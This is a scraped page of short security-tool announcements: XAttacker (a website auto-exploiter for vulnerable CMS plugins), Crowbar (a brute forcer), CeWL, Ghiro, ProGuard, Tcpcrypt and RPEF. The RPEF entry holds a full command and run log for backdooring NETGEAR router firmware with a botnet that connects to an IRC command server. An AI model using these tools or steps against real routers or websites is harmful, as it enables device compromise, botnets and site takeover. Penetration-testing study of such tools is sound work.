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Know The Dangers Of Credential Reuse Attacks - Cr3dOv3r v0.3

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A Tool to Generate Various Ways to Do a Reverse Shell - ReverShellGenerator

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Website Vulnerability Scanner & Auto Exploiter - XAttacker

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XAttacker is a Website Vulnerability Scanner & Auto Exploiter developed by Mohamed Riahi

Installation

git clone https://github.com/Moham3dRiahi/XAttacker.git

Auto Cms Detect

[1] WordPress :

[+] Adblock Blocker
[+] WP All Import
[+] Blaze
[+] Catpro
[+] Cherry Plugin
[+] Download Manager
[+] Formcraft
[+] levoslideshow
[+] Power Zoomer
[+] Gravity Forms
[+] Revslider Upload Shell
[+] Revslider Dafece Ajax
[+] Revslider Get Config
[+] Showbiz
[+] Simple Ads Manager
[+] Slide Show Pro
[+] WP Mobile Detector
[+] Wysija
[+] InBoundio Marketing
[+] dzs-zoomsounds
[+] Reflex Gallery
[+] Creative Contact Form
[+] Work The Flow File Upload
[+] WP Job Manger
[+] PHP Event Calendar
[+] Synoptic
[+] Wp Shop
[+] Content Injection

[2] Joomla

[+] Com Jce
[+] Com Media
[+] Com Jdownloads
[+] Com Fabrik
[+] Com Jdownloads Index
[+] Com Foxcontact
[+] Com Ads Manager
[+] Com Blog
[+] Com Users
[+] Com Weblinks
[+] mod_simplefileupload

[3] DruPal

[+] Add Admin

[4] PrestaShop

[+] columnadverts
[+] soopamobile
[+] soopabanners
[+] Vtermslideshow
[+] simpleslideshow
[+] productpageadverts
[+] homepageadvertise
[+] homepageadvertise2
[+] jro_homepageadvertise
[+] attributewizardpro
[+] 1attributewizardpro
[+] AttributewizardproOLD
[+] attributewizardpro_x
[+] advancedslider
[+] cartabandonmentpro
[+] cartabandonmentproOld
[+] videostab
[+] wg24themeadministration
[+] fieldvmegamenu
[+] wdoptionpanel
[+] pk_flexmenu
[+] pk_vertflexmenu
[+] nvn_export_orders
[+] megamenu
[+] tdpsthemeoptionpanel
[+] psmodthemeoptionpanel
[+] masseditproduct

[5] Lokomedia

SQL injection

Video

Usage

Short Form	Long Form	Description
-l	--list	websites list

Example
if you have list websites run tool with this command line

perl XAttacker.pl -l list.txt

if you don't have list websites run the tool with this command

perl XAttacker.pl

For coloring in windows Add This Line

use Win32::Console::ANSI;

Version
Current version is 2.1 What's New
• Wordpress Levo-Slideshow 2.3 - Arbitrary File Upload
• GS-Dorker
• speed up
• Bug fixes
version 2.0
• speed up
• Bug fixes
version 1.9
• Bug fixes

Download XAttacker

A Framework For NoSQL Scanning and Exploitation - NoSQL Exploitation Framework 2.0

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Detect And Bypass Web Application Firewalls And Protection Systems - WhatWaf

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MalwaRE - Malware Repository Framework

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CapTipper - Malicious HTTP traffic explorer tool

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Ghiro 0.2 - Automated Digital Image Forensics Tool

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Sometime forensic investigators need to process digital images as evidence. There are some tools around, otherwise it is difficult to deal with forensic analysis with lot of images involved.

Images contain tons of information, Ghiro extracts these information from provided images and display them in a nicely formatted report.

Dealing with tons of images is pretty easy, Ghiro is designed to scale to support gigs of images.

All tasks are totally automated, you have just to upload you images and let Ghiro does the work.

Understandable reports, and great search capabilities allows you to find a needle in a haystack.

Ghiro is a multi user environment, different permissions can be assigned to each user. Cases allow you to group image analysis by topic, you can choose which user allow to see your case with a permission schema.

Use Cases

Ghiro can be used in many scenarios, forensic investigators could use it on daily basis in their analysis lab but also people interested to undercover secrets hidden in images could benefit. Some use case examples are the following:

If you need to extract all data and metadata hidden in an image in a fully automated way
If you need to analyze a lot of images and you have not much time to read the report for all them
If you need to search a bunch of images for some metadata
If you need to geolocate a bunch of images and see them in a map
If you have an hash list of "special" images and you want to search for them

Anyway Ghiro is designed to be used in many other scenarios, the imagination is the only limit.

Video

MAIN FEATURES

Metadata extraction

Metadata are divided in several categories depending on the standard they come from. Image metadata are extracted and categorized. For example: EXIF, IPTC, XMP.

GPS Localization

Embedded in the image metadata sometimes there is a geotag, a bit of GPS data providing the longitude and latitude of where the photo was taken, it is read and the position is displayed on a map.

MIME information

The image MIME type is detected to know the image type your are dealing with, in both contacted (example: image/jpeg) and extended form.

Error Level Analysis

Error Level Analysis (ELA) identifies areas within an image that are at different compression levels. The entire picture should be at roughly the same level, if a difference is detected, then it likely indicates a digital modification.

Thumbnail extraction

The thumbnails and data related to them are extracted from image metadata and stored for review.

Thumbnail consistency

Sometimes when a photo is edited, the original image is edited but the thumbnail not. Difference between the thumbnails and the images are detected.

Signature engine

Over 120 signatures provide evidence about most critical data to highlight focal points and common exposures.

Hash matching

Suppose you are searching for an image and you have only the hash. You can provide a list of hashes and all images matching are reported.

Download Ghiro

Gitrob - Reconnaissance tool for GitHub organizations

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Exploit Pack - Open Source Security Project for Penetration Testing and Exploit Development

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ProGuard - Java class file Shrinker, Optimizer, Obfuscator and Preverifier

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ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes. It optimizes bytecode and removes unused instructions. It renames the remaining classes, fields, and methods using short meaningless names. Finally, it preverifies the processed code for Java 6 or higher, or for Java Micro Edition.

Some uses of ProGuard are:

Creating more compact code, for smaller code archives, faster transfer across networks, faster loading, and smaller memory footprints.
Making programs and libraries harder to reverse-engineer.
Listing dead code, so it can be removed from the source code.
Retargeting and preverifying existing class files for Java 6 or higher, to take full advantage of their faster class loading.

ProGuard's main advantage compared to other Java obfuscators is probably its compact template-based configuration. A few intuitive command line options or a simple configuration file are usually sufficient. The user manual explains all available options and shows examples of this powerful configuration style.

ProGuard is fast. It only takes seconds to process programs and libraries of several megabytes. The results section presents actual figures for a number of applications.

ProGuard is a command-line tool with an optional graphical user interface. It also comes with plugins for Ant, for Gradle, and for the JME Wireless Toolkit.

What is shrinking?

Java source code (.java files) is typically compiled to bytecode (.class files). Bytecode is more compact than Java source code, but it may still contain a lot of unused code, especially if it includes program libraries. Shrinking programs such as ProGuard can analyze bytecode and remove unused classes, fields, and methods. The program remains functionally equivalent, including the information given in exception stack traces.

What is obfuscation?

By default, compiled bytecode still contains a lot of debugging information: source file names, line numbers, field names, method names, argument names, variable names, etc. This information makes it straightforward to decompile the bytecode and reverse-engineer entire programs. Sometimes, this is not desirable. Obfuscators such as ProGuard can remove the debugging information and replace all names by meaningless character sequences, making it much harder to reverse-engineer the code. It further compacts the code as a bonus. The program remains functionally equivalent, except for the class names, method names, and line numbers given in exception stack traces.

What is preverification?

When loading class files, the class loader performs some sophisticated verification of the byte code. This analysis makes sure the code can't accidentally or intentionally break out of the sandbox of the virtual machine. Java Micro Edition and Java 6 introduced split verification. This means that the JME preverifier and the Java 6 compiler add preverification information to the class files (StackMap and StackMapTable attributes, respectively), in order to simplify the actual verification step for the class loader. Class files can then be loaded faster and in a more memory-efficient way. ProGuard can perform the preverification step too, for instance allowing to retarget older class files at Java 6.

What kind of optimizations does ProGuard support?

Apart from removing unused classes, fields, and methods in the shrinking step, ProGuard can also perform optimizations at the bytecode level, inside and across methods. Thanks to techniques like control flow analysis, data flow analysis, partial evaluation, static single assignment, global value numbering, and liveness analysis, ProGuard can:

Evaluate constant expressions.
Remove unnecessary field accesses and method calls.
Remove unnecessary branches.
Remove unnecessary comparisons and instanceof tests.
Remove unused code blocks.
Merge identical code blocks.
Reduce variable allocation.
Remove write-only fields and unused method parameters.
Inline constant fields, method parameters, and return values.
Inline methods that are short or only called once.
Simplify tail recursion calls.
Merge classes and interfaces.
Make methods private, static, and final when possible.
Make classes static and final when possible.
Replace interfaces that have single implementations.
Perform over 200 peephole optimizations, like replacing ...*2 by ...<<1.
Optionally remove logging code.

The positive effects of these optimizations will depend on your code and on the virtual machine on which the code is executed. Simple virtual machines may benefit more than advanced virtual machines with sophisticated JIT compilers. At the very least, your bytecode may become a bit smaller.

Some notable optimizations that aren't supported yet:

Moving constant expressions out of loops.
Optimizations that require escape analysis (DexGuard does).

Download ProGuard

Tribler - Download Torrents using Tor-inspired onion routing

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Crowbar - Brute Forcing Tool for Pentests

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Crowbar (crowbar) is brute forcing tool that can be used during penetration tests. It is developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key. So SSH keys, that are obtained during penetration tests, can be used to attack other SSH servers.

Currently Crowbar supports

OpenVPN
SSH private key authentication
VNC key authentication
Remote Desktop Protocol (RDP) with NLA support

Installation

First you shoud install dependencies

 # apt-get install openvpn freerdp-x11 vncviewer

Then get latest version from github

 # git clone https://github.com/galkan/crowbar

Attention: Rdp depends on your Kali version. It may be xfreerdp for the latest version.

Usage

-h: Shows help menu.

-b: Target service. Crowbar now supports vnckey, openvpn, sshkey, rdp.

-s: Target ip address.

-S: File name which is stores target ip address.

-u: Username.

-U: File name which stores username list.

-n: Thread count.

-l: File name which stores log. Deafault file name is crwobar.log which is located in your current directory

-o: Output file name which stores the successfully attempt.

-c: Password.

-C: File name which stores passwords list.

-t: Timeout value.

-p: Port number

-k: Key file full path.

-m: Openvpn configuration file path

-d: Run nmap in order to discover whether the target port is open or not. So that you can easily brute to target using crowbar.

-v: Verbose mode which is shows all the attempts including fail.

If you want see all usage options, please use crowbar --help

Download Crowbar

Tcpcrypt - Encrypting the Internet

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Tcpcrypt is a protocol that attempts to encrypt (almost) all of your network traffic. Unlike other security mechanisms, Tcpcrypt works out of the box: it requires no configuration, no changes to applications, and your network connections will continue to work even if the remote end does not support Tcpcrypt, in which case connections will gracefully fall back to standard clear-text TCP. Install Tcpcrypt and you'll feel no difference in your every day user experience, but yet your traffic will be more secure and you'll have made life much harder for hackers.

So why is now the right time to turn on encryption? Here are some reasons:

Intercepting communications today is simpler than ever because of wireless networks. Ask a hacker how many e-mail passwords can be intercepted at an airport by just using a wifi-enabled laptop. This unsophisticated attack is in reach of many. The times when only a few elite had the necessary skill to eavesdrop are gone.
Computers have now become fast enough to encrypt all Internet traffic. New computers come with special hardware crypto instructions that allow encrypted networking speeds of 10Gbit/s. How many of us even achieve those speeds on the Internet or would want to download (and watch) one movie per second? Clearly, we can encrypt fast enough.
Research advances and the lessons learnt from over 10 years of experience with the web finally enabled us to design a protocol that can be used in today's Internet, by today's users. Our protocol is pragmatic: it requires no changes to applications, it works with NATs (i.e., compatible with your DSL router), and will work even if the other end has not yet upgraded to tcpcrypt—in which case it will gracefully fall back to using the old plain-text TCP. No user configuration is required, making it accessible to lay users—no more obscure requests like "Please generate a 2048-bit RSA-3 key and a certificate request for signing by a CA". Tcpcrypt can be incrementally deployed today, and with time the whole Internet will become encrypted.

How Tcpcrypt works

Tcpcrypt is opportunistic encryption. If the other end speaks Tcpcrypt, then your traffic will be encrypted; otherwise it will be in clear text. Thus, Tcpcrypt alone provides no guarantees—it is best effort. If, however, a Tcpcrypt connection is successful and any attackers that exist are passive, then Tcpcrypt guarantees privacy.

Network attackers come in two varieties: passive and active (man-in-the-middle). Passive attacks are much simpler to execute because they just require listening on the network. Active attacks are much harder as they require listening and modifying network traffic, often requiring very precise timing that can make some attacks impractical.

By default Tcpcrypt is vulnerable to active attacks—an attacker can, for example, modify a server's response to say that Tcpcrypt is not supported (when in fact it is) so that all subsequent traffic will be clear text and can thus be eavesdropped on.

Tcpcrypt, however, is powerful enough to stop active attacks, too, if the application using it performs authentication. For example, if you log in to online banking using a password and the connection is over Tcpcrypt, it is possible to use that shared secret between you and the bank (i.e., the password) to authenticate that you are actually speaking to the bank and not some active (man-in-the-middle) attacker. The attacker cannot spoof authentication as it lacks the password. Thus, by default, Tcpcrypt will try its best to protect your traffic. Applications requiring stricter guarantees can get them by authenticating a Tcpcrypt session.

How Tcpcrypt is different

Some of us already encrypt some network traffic using SSL (e.g., HTTPS) or VPNs. Those solutions are inadequate for ubiquitous encryption. For example, almost all solutions rely on a PKI to stop man-in-the-middle attacks, which for ubiquitous deployment would mean that all Internet users would have to get verified by a CA like Verisign and have to spend money to buy a certificate. Tcpcrypt abstracts away authentication, allowing any mechanism to be used, whether PKI, passwords, or something else.

Next, Tcpcrypt can be incrementally deployed: it has a mechanism for probing support and can gracefully fall back to TCP. It also requires no configuration (try that with a VPN!) and has no NAT issues. Finally, Tcpcrypt has very high performance (up to 25x faster than SSL), making it feasible for high volume servers to enable encryption on all connections. While weaker by default, Tcpcrypt is more realistic for universal deployment.

We can easily make the bar much higher for attackers, so let's do it. How much longer are we going to stay clear-text by default?

Download Tcpcrypt

RPEF - Abstracts and expedites the process of backdooring stock firmware images for consumer/SOHO routers

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Router Post-Exploitation Framework

Currently, the framework includes a number of firmware image modules:

'Verified'   - This module is confirmed to work and is stable.

'Unverified' - This module is believed to work or should work with
               little additional effort, but awaits being tested on a
               physical device.

'Testing'    - This module is currently undergoing development and is
               unstable for the time being.  Users should consider this
               module a "work in progress."

'Roadblock'  - Issues have halted progress on this module for the time
               being.  Certain unavailable utilities or significant
               reverse engineering work may be necessary.

For a list of options, run:

./rpef.py -h

For a list of all currently supported firmware targets, run:

./rpef.py -ll

The script is written for Python 2.6 and may require the installation of a few modules. It is typically invoked as:

./rpef.py

and accepts a number of optional switches (see -h).
The rules/ directory stores a hierarchy of rules// directories. One module correlates to one firmware checksum (not to one specific router) since multiple routers have been observed to run the exact same firmware. Within each module is properties.json which stores the language and order of operations necessary to unpackage, backdoor, and repackage the target firmware image. The payloads/ directory stores cross-compiled binaries ready for deployment, and the optional dependencies/ directory stores miscellaneous files to aid the process.
The utilities/ directory stores pre-compiled x86 binaries to perform tasks such as packing/unpacking filesystems, compressing/decompressing data (for which no suitable .py module exists), and calculating checksums.
The payloads_src/ directory stores source code for the payloads themselves. All payloads are written from scratch to keep them as small as possible.

Usage

To verbosely generate a firmware image for the WGR614v9 backdoored with a botnet client, run:

./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v

And the process should proceed as follows:

$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
    Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
    Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
    Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
    Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
    Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
        Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin

        created 217 files
        created 27 directories
        created 48 symlinks
        created 0 devices
        created 0 fifos
[+] Inserting payload
    Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
    Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
    Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
    Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax      
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
    Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
    Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
        Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
        Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.

        Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
        Filesystem size 1442.99 Kbytes (1.41 Mbytes)
            29.38% of uncompressed filesystem size (4912.18 Kbytes)
        Inode table size 2245 bytes (2.19 Kbytes)
            33.63% of uncompressed inode table size (6675 bytes)
        Directory table size 2322 bytes (2.27 Kbytes)
            55.26% of uncompressed directory table size (4202 bytes)
        Number of duplicate files found 3
        Number of inodes 293
        Number of files 218
        Number of fragments 22
        Number of symbolic links  48
        Number of device nodes 0
        Number of fifo nodes 0
        Number of socket nodes 0
        Number of directories 27
        Number of uids 1
            root (0)
        Number of gids 0
[+] Gluing parts together
    Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
    Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
    Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
        Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
    Step 1: Rmdir /tmp/tmpOaw1tn/

Download RPEF

CeWL - Custom WordList Generator Tool for Password Cracking

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CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.

CeWL also has an associated command line app, FAB (Files Already Bagged) which uses the same meta data extraction techniques to create author/creator lists from already downloaded.

Usage

cewl [OPTION] ... URL

--help, -h: Show help
--depth x, -d x: The depth to spider to, default 2
--min_word_length, -m: The minimum word length, this strips out all words under the specified length, default 3
--offsite, -o: By default, the spider will only visit the site specified. With this option it will also visit external sites
--write, -w file: Write the ouput to the file rather than to stdout
--ua, -u user-agent: Change the user agent
-v: Verbose, show debug and extra output
--no-words, -n: Don't output the wordlist
--meta, -a file: Include meta data, optional output file
--email, -e file: Include email addresses, optional output file
--meta_file file: Filename for metadata output
--email_file file: Filename for email output
--meta-temp-dir directory: The directory used used by exiftool when parsing files, the default is /tmp
--count, -c:: Show the count for each of the words found
--auth_type: Digest or basic
--auth_user: Authentication username
--auth_pass: Authentication password
--proxy_host: Proxy host
--proxy_port: Proxy port, default 8080
--proxy_username: Username for proxy, if required
--proxy_password: Password for proxy, if required
--verbose, -v: Verbose
URL: The site to spider.

Change Log

Keeping track of history.

Version 4.3 - Various spider bug fixes and the introduction of the sorting the results by count
Version 4.2 - Fixed the Spider gem by overriding the function, also handling #name links correctly
Version 4.1 - Small bug fixes and added new parameter to set filenames for email and metadata output
Version 4 - Runs with Ruby 1.9.x and grabs text out of alt and title tags
Version 3 - Now spiders pages referenced in JavaScript location commands
Version 2.2 - Data from email addresses and meta data can be written to their own files
Version 2.1 - Fixed a bug some people were having while using the email option
Version 2 - Added meta data support
Version 1 - released

Download CeWL 5.1